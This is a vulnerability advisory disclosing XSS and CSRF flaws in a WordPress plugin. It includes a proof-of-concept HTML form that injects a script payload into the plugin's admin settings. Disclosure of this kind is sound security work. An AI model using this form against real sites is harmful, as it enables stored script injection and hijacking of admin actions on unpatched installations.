WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting

Type packetstorm
Reporter Morten Nortoft
Modified 2015-07-30T00:00:00


                                            `Title: WordPress 'Default Facebook Thumbnails' Plugin   
Version: 0.4  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-13  
- https://wordpress.org/plugins/default-facebook-thumbnail/  
- https://plugins.svn.wordpress.org/default-facebook-thumbnail/  
Notified WordPress: 2015-06-21  
## Plugin description  
This plugin adds a og:image tag to your head with the input/upload of the image in the settings.  
## XSS/CSRF Vulnerabilities  
The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a direct link to the vulnerable file (keep in mind that most modern browsers encode the url).  
The "Upload Image or URL" field in the admin-settings page is vulnerable to stored XSS. This can be exploited by utilizing a CSRF vulnerability.  
Log in as admin and submit this form:  
<form method="POST" action="http://[URL]/wp-admin/admin.php?page=fb_thumbs">   
<text>upload image: </text>  
<input type="text" name="upload_image" value=""><script>alert(1)</script>"><br />  
<text>fb_thumb_hidden: </text>  
<input type="text" name="fb_thumb_hidden" value="Y" readonly><br />  
<input type="submit">  
## Solution  
No fix available  
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.